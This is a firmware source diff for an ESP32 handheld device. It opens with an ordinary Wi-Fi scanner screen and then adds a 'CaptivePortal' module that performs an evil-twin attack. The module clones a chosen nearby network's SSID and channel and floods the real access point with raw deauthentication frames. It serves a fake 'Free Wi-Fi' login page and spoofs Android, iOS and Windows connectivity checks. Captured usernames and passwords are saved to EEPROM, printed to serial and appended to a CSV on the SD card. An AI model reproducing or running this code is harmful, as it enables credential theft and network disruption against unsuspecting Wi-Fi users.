yPos = LIST_TOP + i * LIST_ITEM_HEIGHT; + + if (currentNetworkIndex == currentIndex) { + tft.setTextColor(ORANGE, TFT_BLACK); + tft.setCursor(10, yPos); + tft.print("> "); + } else { + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, yPos); + tft.print(" "); + } + + tft.setCursor(25, yPos); + tft.print(ssid); + if (fullSSID.length() > MAX_SSID_LENGTH) tft.print("..."); + tft.print(" | RSSI: "); + tft.print(rssi); + } + } else { + for (int i = 0; i < MAX_VISIBLE_ITEMS; i++) { + int currentNetworkIndex = i + listStartIndex; + if (currentNetworkIndex >= networkCount) break; + + if (currentNetworkIndex == currentIndex || currentNetworkIndex == currentIndex + 1 || currentNetworkIndex == currentIndex - 1) { + String fullSSID = WiFi.SSID(currentNetworkIndex); + String ssid = fullSSID.substring(0, MAX_SSID_LENGTH); + int rssi = WiFi.RSSI(currentNetworkIndex); + int yPos = LIST_TOP + i * LIST_ITEM_HEIGHT; + + tft.fillRect(0, yPos - 2, TFT_WIDTH, LIST_ITEM_HEIGHT, TFT_BLACK); + + if (currentNetworkIndex == currentIndex) { + tft.setTextColor(ORANGE, TFT_BLACK); + tft.setCursor(10, yPos); + tft.print("> "); + } else { + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, yPos); + tft.print(" "); + } + + tft.setCursor(25, yPos); + tft.print(ssid); + if (fullSSID.length() > MAX_SSID_LENGTH) tft.print("..."); + tft.print(" | RSSI: "); + tft.print(rssi); + } + } + } +} + +void displayScanning() { + uiDrawn = false; + tft.fillRect(0, 20, 140, 16, DARK_GRAY); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 25); + tft.print("[*] Scanning"); + + for (int i = 0; i < 2; i++) { + for (int j = 0; j <= i; j++) { + tft.print("."); + delay(500); + } + } + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 35); + tft.print("[+] Scan complete!"); + + delay(100); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 55); + tft.print("[+] Wait a moment"); + isScanning = false; +} + +void startWiFiScan() { + displayScanning(); + + scan_StartTime = millis(); + isScanning = true; + exitRequested = false; + + int numNetworks = WiFi.scanNetworks(false, true); + + isScanning = false; + + if (numNetworks >= 0) { + bgHasResults = true; + bgLastScanMs = millis(); + } + + displayWiFiList(true); +} + +void displayWiFiDetails() { + uiDrawn = false; + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + String ssid = WiFi.SSID(currentIndex); + String bssid = WiFi.BSSIDstr(currentIndex); + int rssi = WiFi.RSSI(currentIndex); + int channel = WiFi.channel(currentIndex); + int encryption = WiFi.encryptionType(currentIndex); + bool isHidden = (ssid.length() == 0); + int y_shift = 0; + + float signalQuality = constrain(2 * (rssi + 100), 0, 100); + float estimatedDistance = pow(10.0, (-69.0 - rssi) / (10.0 * 2.0)); + + String encryptionType; + switch (encryption) { + case WIFI_AUTH_OPEN: encryptionType = "Open"; break; + case WIFI_AUTH_WEP: encryptionType = "WEP"; break; + case WIFI_AUTH_WPA_PSK: encryptionType = "WPA"; break; + case WIFI_AUTH_WPA2_PSK: encryptionType = "WPA2"; break; + case WIFI_AUTH_WPA_WPA2_PSK: encryptionType = "WPA/WPA2"; break; + case WIFI_AUTH_WPA2_ENTERPRISE: encryptionType = "WPA2-Ent"; break; + default: encryptionType = "Unknown"; break; + } + + tft.fillRect(0, 20, 140, 16, DARK_GRAY); + tft.setTextColor(TFT_WHITE); + tft.setCursor(35, 24); + tft.print("Network Details:"); + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 35 + y_shift); + tft.print("SSID: "); tft.print(isHidden ? "(Hidden)" : ssid); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 55 + y_shift); + tft.print("BSSID: "); tft.print(bssid); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 75 + y_shift); + tft.print("RSSI: "); tft.print(rssi); tft.print(" dBm"); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 95 + y_shift); + tft.print("Signal: "); tft.print(signalQuality); tft.print("%"); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 115 + y_shift); + tft.print("Channel: "); tft.print(channel); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 135 + y_shift); + tft.print("Encryption: "); tft.print(encryptionType); + + tft.setCursor(10, STATUS_BAR_Y_OFFSET + 155 + y_shift); + tft.print("Est. Distance: "); tft.print(estimatedDistance, 1); tft.print("m"); +} + +void handleButton() { + unsigned long currentMillis = millis(); + if (currentMillis - lastButtonPress < debounceTime) return; + + bool updated = false; + + if (!pcf.digitalRead(BTN_UP)) { + if (!isDetailView && currentIndex > 0) { + currentIndex--; + delay(200); + if (currentIndex < listStartIndex) listStartIndex--; + updated = true; + } + lastButtonPress = currentMillis; + } + + if (!pcf.digitalRead(BTN_DOWN)) { + if (!isDetailView && currentIndex < WiFi.scanComplete() - 1) { + currentIndex++; + delay(200); + if (currentIndex >= listStartIndex + MAX_VISIBLE_ITEMS) listStartIndex++; + updated = true; + } + lastButtonPress = currentMillis; + } + + if (!pcf.digitalRead(BTN_RIGHT)) { + delay(200); + if (!isScanning) { + isDetailView = !isDetailView; + updated = true; + } + lastButtonPress = currentMillis; + } + + if (!pcf.digitalRead(BTN_LEFT)) { + delay(200); + if (isDetailView) { + isDetailView = false; + } else if (!isScanning) { + startWiFiScan(); + } + updated = true; + lastButtonPress = currentMillis; + } + + if (updated) { + if (isDetailView) displayWiFiDetails(); + else displayWiFiList(); + } +} + +void runUI() { + + static int iconY = STATUS_BAR_Y_OFFSET; + + if (!uiDrawn) { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(140, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 140, STATUS_BAR_HEIGHT, DARK_GRAY); + + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + + if (animationState > 0 && millis() - lastAnimationTime >= 150) { + if (animationState == 1) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + + switch (activeIcon) { + case 0: + if (!isScanning) { + startWiFiScan(); + } + break; + } + } else if (animationState == 2) { + animationState = 0; + activeIcon = -1; + } + lastAnimationTime = millis(); + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 1) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void wifiscanSetup() { + + tft.fillScreen(TFT_BLACK); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setTextSize(1); + tft.fillRect(0, 20, 140, 16, DARK_GRAY); + + uiDrawn = false; + + pcf.pinMode(BTN_UP, INPUT_PULLUP); + pcf.pinMode(BTN_DOWN, INPUT_PULLUP); + pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); + pcf.pinMode(BTN_LEFT, INPUT_PULLUP); + + setupTouchscreen(); + + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + + int existing = WiFi.scanComplete(); + if (existing >= 0 && bgHasResults) { + displayWiFiList(true); + } else { + startWiFiScan(); + } + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + runUI(); +} + +void wifiscanLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + static bool lastDetailView = false; + static bool lastScanning = true; + + handleButton(); + runUI(); + updateStatusBar(); + + if (isScanning) { + if (!lastScanning) { + displayScanning(); + lastScanning = true; + } + } else if (!isDetailView) { + if (lastDetailView || lastScanning) { + displayWiFiList(true); + } + lastDetailView = false; + lastScanning = false; + } else { + if (!lastDetailView) { + displayWiFiDetails(); + } + lastDetailView = true; + } + } +} + +namespace CaptivePortal { + +const char* default_ssid = "ESP32DIV_AP"; +char custom_ssid[32] = "ESP32DIV_AP"; +const char* password = NULL; + +static uint8_t ap_channel = 1; + +static bool cp_deauth_active = false; +static wifi_ap_record_t cp_target_ap; +static uint8_t cp_target_channel; +static uint32_t cp_deauth_packet_count = 0; +static uint32_t cp_deauth_success_count = 0; +static unsigned long cp_last_deauth_time = 0; + +static uint8_t cp_deauth_frame_default[26] = { + 0xC0, 0x00, + 0x00, 0x00, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x00, 0x00, + 0x01, 0x00 +}; +static uint8_t cp_deauth_frame[sizeof(cp_deauth_frame_default)]; +DNSServer dnsServer; +const byte DNS_PORT = 53; +WebServer server(80); + +bool attackActive = false; + +static void stopAttack(); +static void startAttack(); +void drawMainMenu(); + +#define EEPROM_SIZE 1440 +#define SSID_ADDR 0 +#define CRED_ADDR 32 +#define COUNT_ADDR 1248 +#define MAX_CREDS 20 +#define CRED_SIZE 64 + +String terminalBuffer[MAX_LINES]; +uint16_t colorBuffer[MAX_LINES]; +int lineIndex = 0; + +struct Credential { + char username[16]; + char password[16]; + char ssid[32]; +}; + +enum Screen { MAIN_MENU, KEYBOARD, CRED_LIST }; +Screen currentScreen = MAIN_MENU; +int credPage = 0; + +bool keyboardActive = false; +String inputSSID = ""; +const int keyWidth = 22; +const int keyHeight = 18; +const int keySpacing = 2; +const char* keyboardLayout[] = { + "1234567890", + "qwertyuiop", + "asdfghjkl ", + "zxcvbnm_<-" +}; +bool cursorState = false; +unsigned long lastCursorToggle = 0; + +const char* seriesSSIDs[] = {"ESP32DIV_AP", "FreeWiFi", "Loading..."}; +const int numSeriesSSIDs = 3; +int seriesSSIDIndex = 0; + +String loginPage = R"( + + + + Wi-Fi Login + + + + + + + +
+

Free Wi-Fi

+

Log in to connect.

+
+
+
+ +
+
+ + +)"; + +void scrollTerminal() { + for (int i = 0; i < MAX_LINES - 1; i++) { + terminalBuffer[i] = terminalBuffer[i + 1]; + colorBuffer[i] = colorBuffer[i + 1]; + } +} + +void displayPrint(String text, uint16_t color, bool extraSpace = false) { + if (lineIndex >= MAX_LINES - 1) { + scrollTerminal(); + lineIndex = MAX_LINES - 1; + } + + terminalBuffer[lineIndex] = text; + colorBuffer[lineIndex] = color; + lineIndex++; + + if (extraSpace && lineIndex < MAX_LINES) { + terminalBuffer[lineIndex] = ""; + colorBuffer[lineIndex] = TFT_WHITE; + lineIndex++; + } + + for (int i = 0; i < lineIndex; i++) { + int yPos = i * LINE_HEIGHT + 45; + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(5, yPos, tft.width() - 10, LINE_HEIGHT, TFT_BLACK); + tft.setTextColor(colorBuffer[i], TFT_BLACK); + tft.setCursor(5, yPos); + tft.print(terminalBuffer[i]); + } +} + +void saveCredential(String username, String password, String ssid) { + Credential cred; + strncpy(cred.username, username.c_str(), 15); + cred.username[15] = '\0'; + strncpy(cred.password, password.c_str(), 15); + cred.password[15] = '\0'; + strncpy(cred.ssid, ssid.c_str(), 31); + cred.ssid[31] = '\0'; + + int count = EEPROM.read(COUNT_ADDR); + Serial.printf("Before saving, credential count: %d\n", count); + if (count < MAX_CREDS) { + int addr = CRED_ADDR + (count * CRED_SIZE); + EEPROM.put(addr, cred); + count++; + EEPROM.write(COUNT_ADDR, count); + EEPROM.commit(); + Serial.println("Credential saved at address " + String(addr)); + Serial.println("Username: " + String(cred.username)); + Serial.println("Password: " + String(cred.password)); + Serial.println("SSID: " + String(cred.ssid)); + Serial.printf("After saving, credential count: %d\n", count); + } else { + Serial.println("Credential storage full"); + } +} + +static bool cp_sd_mounted = false; + +static bool cpMountSD() { + + if (cp_sd_mounted) { + if (SD.exists("/")) return true; + cp_sd_mounted = false; + } + + bool ok = false; + #ifdef SD_CS + ok = SD.begin(SD_CS); + #endif + #ifdef SD_CS_PIN + if (!ok) { + #ifdef CC1101_CS + if (SD_CS_PIN != CC1101_CS) ok = SD.begin(SD_CS_PIN); + #else + ok = SD.begin(SD_CS_PIN); + #endif + } + #endif + cp_sd_mounted = ok; + return ok; +} + +static bool cpEnsureDir(const char* dirPath) { + if (!cpMountSD()) return false; + if (!SD.exists(dirPath)) { + if (SD.mkdir(dirPath)) return true; + + if (dirPath && dirPath[0] == '/') return SD.mkdir(dirPath + 1); + return false; + } + return true; +} + +static String cpCsvEscape(const String& s) { + bool needsQuotes = false; + for (size_t i = 0; i < s.length(); i++) { + char c = s[i]; + if (c == ',' || c == '"' || c == '\n' || c == '\r') { needsQuotes = true; break; } + } + if (!needsQuotes) return s; + + String out = "\""; + for (size_t i = 0; i < s.length(); i++) { + char c = s[i]; + if (c == '"') out += "\"\""; + else out += c; + } + out += "\""; + return out; +} + +static bool cpAppendLineToFile(const char* path, const String& line) { + if (!cpMountSD()) return false; + + File f = SD.open(path, "a"); + if (!f) { + cp_sd_mounted = false; + if (!cpMountSD()) return false; + f = SD.open(path, "a"); + if (!f) return false; + } + + bool ok = (f.print(line) > 0); + f.flush(); + f.close(); + return ok; +} + +static bool cpAppendCaptureToSD(const String& remoteIp, const String& username, const String& passwordStr, const String& ssid) { + const char* dir = "/captive_portal"; + const char* path = "/captive_portal/captured.csv"; + if (!cpEnsureDir(dir)) return false; + + bool exists = SD.exists(path); + if (!exists) { + if (!cpAppendLineToFile(path, "millis,remote_ip,ssid,username,password\r\n")) return false; + } + + String row; + row.reserve(32 + remoteIp.length() + ssid.length() + username.length() + passwordStr.length()); + row += String(millis()); + row += ","; + row += cpCsvEscape(remoteIp); + row += ","; + row += cpCsvEscape(ssid); + row += ","; + row += cpCsvEscape(username); + row += ","; + row += cpCsvEscape(passwordStr); + row += "\r\n"; + return cpAppendLineToFile(path, row); +} + +static bool cpDumpAllCredentialsToSD(int* outCount) { + if (outCount) *outCount = 0; + const char* dir = "/captive_portal"; + const char* path = "/captive_portal/eeprom_dump.csv"; + if (!cpEnsureDir(dir)) return false; + + int count = EEPROM.read(COUNT_ADDR); + if (count < 0) count = 0; + if (count > MAX_CREDS) count = MAX_CREDS; + + File f = SD.open(path, "w"); + if (!f) { + cp_sd_mounted = false; + if (!cpMountSD()) return false; + f = SD.open(path, "w"); + if (!f) return false; + } + + f.print("index,ssid,username,password\r\n"); + for (int i = 0; i < count; i++) { + Credential cred; + EEPROM.get(CRED_ADDR + (i * CRED_SIZE), cred); + String line; + line.reserve(16 + strlen(cred.ssid) + strlen(cred.username) + strlen(cred.password)); + line += String(i); + line += ","; + line += cpCsvEscape(String(cred.ssid)); + line += ","; + line += cpCsvEscape(String(cred.username)); + line += ","; + line += cpCsvEscape(String(cred.password)); + line += "\r\n"; + f.print(line); + } + f.flush(); + f.close(); + if (outCount) *outCount = count; + return true; +} + +static void cpCredListStatus(const String& msg, uint16_t color) { + const int y = 272; + tft.fillRect(0, y, 240, 16, TFT_BLACK); + tft.setTextColor(color, TFT_BLACK); + tft.setTextSize(1); + tft.setCursor(2, y + 4); + tft.print(msg); +} + +static void cpStartDeauth(const String& ssid, const uint8_t* bssid, uint8_t channel) { + if (cp_deauth_active) return; + + memset(&cp_target_ap, 0, sizeof(cp_target_ap)); + strcpy((char*)cp_target_ap.ssid, ssid.c_str()); + memcpy(cp_target_ap.bssid, bssid, 6); + cp_target_ap.primary = channel; + cp_target_channel = channel; + + cp_deauth_active = true; + cp_deauth_packet_count = 0; + cp_deauth_success_count = 0; + cp_last_deauth_time = 0; + + Serial.printf("[CP Deauth] Starting deauth against cloned AP: %s CH=%u\n", ssid.c_str(), channel); +} + +static void cpStopDeauth() { + if (!cp_deauth_active) return; + + cp_deauth_active = false; + Serial.printf("[CP Deauth] Stopped deauth (packets: %u, success: %u)\n", + (unsigned)cp_deauth_packet_count, (unsigned)cp_deauth_success_count); +} + +static void cpSendDeauthFrame() { + if (!cp_deauth_active) return; + + esp_wifi_set_channel(cp_target_channel, WIFI_SECOND_CHAN_NONE); + + memcpy(cp_deauth_frame, cp_deauth_frame_default, 26); + memcpy(&cp_deauth_frame[10], cp_target_ap.bssid, 6); + memcpy(&cp_deauth_frame[16], cp_target_ap.bssid, 6); + cp_deauth_frame[26] = 7; + Deauther::wsl_bypasser_send_raw_frame(cp_deauth_frame, 26); + + memcpy(cp_deauth_frame, cp_deauth_frame_default, 26); + memcpy(&cp_deauth_frame[10], cp_target_ap.bssid, 6); + memcpy(&cp_deauth_frame[16], cp_target_ap.bssid, 6); + + memset(&cp_deauth_frame[4], 0xFF, 6); + cp_deauth_frame[26] = 7; + Deauther::wsl_bypasser_send_raw_frame(cp_deauth_frame, 26); + + cp_deauth_packet_count += 2; +} + +static void handleGenerate204() { + Serial.println("Android /generate_204 requested"); + displayPrint("Android /generate_204 requested", GREEN, false); + server.sendHeader("Location", "/login.html", true); + server.send(302, "text/plain", ""); +} + +static void handleHotspotDetect() { + Serial.println("iOS /hotspot-detect.html requested"); + displayPrint("iOS /hotspot-detect.html requested", GREEN, false); + server.send(200, "text/html", loginPage); +} + +static void handleCaptiveApple() { + Serial.println("iOS /captive.apple.com requested"); + displayPrint("iOS /captive.apple.com requested", GREEN, false); + server.send(200, "text/html", "SuccessSuccess"); +} + +static void handleNCSITxt() { + Serial.println("Windows /ncsi.txt requested"); + displayPrint("Windows /ncsi.txt requested", GREEN, false); + server.send(200, "text/plain", "Microsoft NCSI"); +} + +static void handleConnectTestTxt() { + Serial.println("Windows /connecttest.txt requested"); + displayPrint("Windows /connecttest.txt requested", GREEN, false); + server.send(200, "text/plain", "Microsoft Connect Test"); +} + +static void handleLoginPage() { + Serial.println("Login page (/login.html) requested"); + displayPrint("Login page (/login.html) requested", GREEN, false); + server.send(200, "text/html", loginPage); +} + +static void handleRoot() { + Serial.println("Root (/) requested"); + displayPrint("Root (/) requested", GREEN, false); + server.send(200, "text/html", loginPage); +} + +static void handleLoginPost() { + String username = server.arg("username"); + String password = server.arg("password"); + String remoteIp = server.client().remoteIP().toString(); + Serial.println("Captured Credentials:"); + Serial.println("Username: " + username); + Serial.println("Password: " + password); + Serial.println("SSID: " + String(custom_ssid)); + saveCredential(username, password, custom_ssid); + if (cpAppendCaptureToSD(remoteIp, username, password, String(custom_ssid))) { + Serial.println("[SD] Captive capture appended to /captive_portal/captured.csv"); + } else { + Serial.println("[SD] Captive capture export failed (SD not mounted / write error)"); + } + server.send(200, "text/html", "

Login Successful!

You are now connected.

"); +} + +static void handleNotFound() { + Serial.println("Not found: " + server.uri()); + server.sendHeader("Location", "/login.html", true); + server.send(302, "text/plain", ""); +} + +void setupWebServer() { + server.on("/generate_204", HTTP_GET, static_cast(handleGenerate204)); + server.on("/hotspot-detect.html", HTTP_GET, static_cast(handleHotspotDetect)); + server.on("/captive.apple.com", HTTP_GET, static_cast(handleCaptiveApple)); + server.on("/ncsi.txt", HTTP_GET, static_cast(handleNCSITxt)); + server.on("/connecttest.txt", HTTP_GET, static_cast(handleConnectTestTxt)); + server.on("/login.html", HTTP_GET, static_cast(handleLoginPage)); + server.on("/", HTTP_GET, static_cast(handleRoot)); + server.on("/login", HTTP_POST, static_cast(handleLoginPost)); + server.onNotFound(static_cast(handleNotFound)); +} + +void loadSSID() { + String savedSSID = ""; + for (int i = 0; i < 32; i++) { + char c = EEPROM.read(SSID_ADDR + i); + if (c == 0) break; + savedSSID += c; + } + if (savedSSID.length() > 0) { + savedSSID.toCharArray(custom_ssid, 32); + } else { + strcpy(custom_ssid, default_ssid); + } +} + +void saveSSID(String ssid) { + for (int i = 0; i < 32; i++) { + if (i < ssid.length()) { + EEPROM.write(SSID_ADDR + i, ssid[i]); + } else { + EEPROM.write(SSID_ADDR + i, 0); + } + } + EEPROM.commit(); + ssid.toCharArray(custom_ssid, 32); + if (attackActive) { + WiFi.softAPdisconnect(true); + WiFi.softAP(custom_ssid, password, ap_channel); + Serial.println("New SSID set: " + String(custom_ssid)); + } +} + +void deleteCredential(int index) { + int count = EEPROM.read(COUNT_ADDR); + if (index < 0 || index >= count) { + Serial.println("Invalid credential index: " + String(index)); + return; + } + + for (int i = index; i < count - 1; i++) { + Credential cred; + EEPROM.get(CRED_ADDR + ((i + 1) * CRED_SIZE), cred); + EEPROM.put(CRED_ADDR + (i * CRED_SIZE), cred); + } + + count--; + EEPROM.write(COUNT_ADDR, count); + EEPROM.commit(); + Serial.println("Credential deleted at index " + String(index)); + Serial.printf("New credential count: %d\n", count); +} + +void clearAllCredentials() { + EEPROM.put(COUNT_ADDR, (uint32_t)0); + + int endAddr = CRED_ADDR + (MAX_CREDS * CRED_SIZE); + if (endAddr > COUNT_ADDR) { + Serial.println("Error: Credential clear would overwrite counter!"); + endAddr = COUNT_ADDR; + } + for (int i = CRED_ADDR; i < endAddr; i++) { + EEPROM.write(i, 0); + } + EEPROM.commit(); + Serial.println("All credentials cleared from " + String(CRED_ADDR) + " to " + String(endAddr - 1)); +} + +static void cpDrawCloneFrame(const char* title) { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + tft.setTextSize(1); + tft.setTextColor(GREEN, TFT_BLACK); + tft.setCursor(8, 45); + tft.println(title); +} + +static void cpDrawCloneFooter(bool prevEnabled, bool nextEnabled) { + + FeatureUI::drawFooterBg(); + + FeatureUI::Button btns[4]; + + FeatureUI::layoutFooter4( + btns, + "Back", FeatureUI::ButtonStyle::Secondary, + "Scan", FeatureUI::ButtonStyle::Secondary, + "Prev", FeatureUI::ButtonStyle::Secondary, + "Next", FeatureUI::ButtonStyle::Secondary, + false, false, !prevEnabled, !nextEnabled + ); + + for (int i = 0; i < 4; ++i) { + FeatureUI::drawButtonRect(btns[i].x, btns[i].y, btns[i].w, btns[i].h, + btns[i].label, btns[i].style, + false, btns[i].disabled, + 1); + } +} + +static bool cpCloneScanAndSelect(String& outSsid, uint8_t& outChannel, uint8_t outBssid[6]) { + const int MAX_RESULTS = 40; + const int rowsPerPage = 12; + + while (true) { + + if (feature_active && isButtonPressed(BTN_SELECT)) return false; + + cpDrawCloneFrame("Scanning..."); + loading(90, ORANGE, 0, 0, 2, true); + + WiFi.scanDelete(); + int n = WiFi.scanNetworks(false, true); + if (n <= 0) { + cpDrawCloneFrame("No networks found"); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(8, 62); + tft.println("Tap Scan, or Back."); + cpDrawCloneFooter(false, false); + + int x, y; + while (!readTouchXY(x, y)) delay(10); + delay(200); + const int footerY = tft.height() - FeatureUI::FOOTER_H; + if (y >= footerY) { + if (x < 60) return false; + if (x < 120) continue; + } + continue; + } + + int count = min(n, MAX_RESULTS); + int idx[MAX_RESULTS]; + for (int i = 0; i < count; i++) idx[i] = i; + + for (int i = 0; i < count - 1; i++) { + int best = i; + for (int j = i + 1; j < count; j++) { + if (WiFi.RSSI(idx[j]) > WiFi.RSSI(idx[best])) best = j; + } + if (best != i) { + int tmp = idx[i]; + idx[i] = idx[best]; + idx[best] = tmp; + } + } + + int page = 0; + while (true) { + if (feature_active && isButtonPressed(BTN_SELECT)) return false; + + cpDrawCloneFrame("Clone Access Point"); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(8, 62); + tft.println("Tap a network to clone SSID+CH"); + + int totalPages = (count + rowsPerPage - 1) / rowsPerPage; + tft.setTextColor(GREEN, TFT_BLACK); + tft.setCursor(180, 45); + tft.printf("%d/%d", page + 1, max(1, totalPages)); + + int y = 80; + int start = page * rowsPerPage; + int end = min(start + rowsPerPage, count); + for (int row = start; row < end; row++) { + int real = idx[row]; + String ssid = WiFi.SSID(real); + int rssi = WiFi.RSSI(real); + int ch = WiFi.channel(real); + uint8_t auth = WiFi.encryptionType(real); + const char* enc = (auth == WIFI_AUTH_OPEN) ? "OPEN" : "SEC"; + + String disp = ssid; + if (disp.length() > 14) disp = disp.substring(0, 14) + "..."; + + char buf[64]; + snprintf(buf, sizeof(buf), "%02d %-17s %3d Ch%2d %s", row + 1, disp.c_str(), rssi, ch, enc); + + uint16_t color = (auth == WIFI_AUTH_OPEN) ? ORANGE : TFT_WHITE; + tft.setTextColor(color, TFT_BLACK); + tft.setCursor(8, y); + tft.println(buf); + y += 16; + } + + bool prevEnabled = page > 0; + bool nextEnabled = (page + 1) * rowsPerPage < count; + cpDrawCloneFooter(prevEnabled, nextEnabled); + + int tx, ty; + while (!readTouchXY(tx, ty)) delay(10); + delay(200); + + const int footerY = tft.height() - FeatureUI::FOOTER_H; + if (ty >= footerY) { + if (tx < 60) return false; + if (tx < 120) break; + if (tx < 180 && prevEnabled) { page--; continue; } + if (tx >= 180 && nextEnabled) { page++; continue; } + continue; + } + + if (ty >= 80 && ty < 80 + (rowsPerPage * 16)) { + int clickedOffset = (ty - 80) / 16; + int absoluteRow = page * rowsPerPage + clickedOffset; + if (absoluteRow >= start && absoluteRow < end) { + int real = idx[absoluteRow]; + outSsid = WiFi.SSID(real); + outChannel = (uint8_t)WiFi.channel(real); + + memcpy(outBssid, WiFi.BSSID(real), 6); + return true; + } + } + } + } +} + +static void cpCloneExistingAPFlow() { + bool wasActive = attackActive; + if (attackActive) stopAttack(); + + WiFi.mode(WIFI_STA); + WiFi.disconnect(true); + delay(100); + + String chosen; + uint8_t ch = 1; + uint8_t bssid[6] = {0}; + bool ok = cpCloneScanAndSelect(chosen, ch, bssid); + WiFi.scanDelete(); + + if (!ok) { + if (wasActive) startAttack(); + drawMainMenu(); + return; + } + + ap_channel = (ch == 0 ? 1 : ch); + saveSSID(chosen); + Serial.printf("[CP] Cloned AP: SSID='%s' CH=%u\n", custom_ssid, (unsigned)ap_channel); + + memset(&cp_target_ap, 0, sizeof(cp_target_ap)); + strcpy((char*)cp_target_ap.ssid, chosen.c_str()); + memcpy(cp_target_ap.bssid, bssid, 6); + cp_target_ap.primary = ap_channel; + + cpStartDeauth(chosen, bssid, ap_channel); + + delay(500); + + startAttack(); + drawMainMenu(); +} + +void drawMainMenu() { + currentScreen = MAIN_MENU; + + tft.setTextSize(1); + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + displayPrint("Current SSID:", GREEN, false); + displayPrint(custom_ssid, WHITE, false); + displayPrint("...", GREEN, false); + + displayPrint("Channel: " + String(ap_channel), GREEN, false); + displayPrint(attackActive ? "Status: Active" : "Status: Inactive", GREEN, false); + if (cp_deauth_active) { + char buf[32]; + snprintf(buf, sizeof(buf), "Evil Twin: %u pkts", (unsigned)cp_deauth_packet_count); + displayPrint(buf, ORANGE, false); + } +} + +void drawInputField() { + tft.fillRect(10, 55, 220, 25, TFT_DARKGREY); + tft.drawRect(9, 54, 222, 27, ORANGE); + tft.setTextColor(TFT_WHITE); + tft.setTextSize(2); + tft.setCursor(15, 60); + String displayText = inputSSID; + if (cursorState && keyboardActive) { + displayText += "|"; + } + tft.println(displayText); +} + +void drawKeyboard() { + currentScreen = KEYBOARD; + tft.fillRect(0, 37, 240, 320, TFT_BLACK); + + tft.setTextColor(ORANGE); + tft.setTextSize(1); + tft.setCursor(1, 230); + tft.println("[!] Set the SSID that your AP will use"); + tft.setCursor(20, 245); + tft.println("to host the captive portal."); + + tft.setCursor(1, 270); + tft.println("[!] Shuffle: Randomly generates SSID"); + tft.setCursor(20, 285); + tft.println("suggestions for your access point."); + + drawInputField(); + + int yOffset = 95; + for (int row = 0; row < 4; row++) { + int xOffset = 1; + for (int col = 0; col < strlen(keyboardLayout[row]); col++) { + tft.fillRect(xOffset, yOffset, keyWidth, keyHeight, TFT_DARKGREY); + tft.setTextColor(TFT_WHITE); + tft.setTextSize(1); + tft.setCursor(xOffset + 6, yOffset + 5); + tft.print(keyboardLayout[row][col]); + Serial.printf("Key %c at x=%d-%d, y=%d-%d\n", keyboardLayout[row][col], xOffset, xOffset + keyWidth, yOffset, yOffset + keyHeight); + xOffset += keyWidth + keySpacing; + } + yOffset += keyHeight + keySpacing; + } + +tft.setTextColor(ORANGE); +tft.setTextSize(1); +tft.setTextDatum(MC_DATUM); + +tft.fillRoundRect(5, 185, 70, 25, 4, DARK_GRAY); +tft.drawRoundRect(5, 185, 70, 25, 4, ORANGE); +tft.drawString("Back", 40, 197); +Serial.printf("Back button at x=5-75, y=185-210\n"); + +tft.fillRoundRect(85, 185, 70, 25, 4, DARK_GRAY); +tft.drawRoundRect(85, 185, 70, 25, 4, ORANGE); +tft.drawString("Shuffle", 120, 197); +Serial.printf("Series button at x=85-155, y=185-210\n"); + +tft.fillRoundRect(165, 185, 70, 25, 4, DARK_GRAY); +tft.drawRoundRect(165, 185, 70, 25, 4, ORANGE); 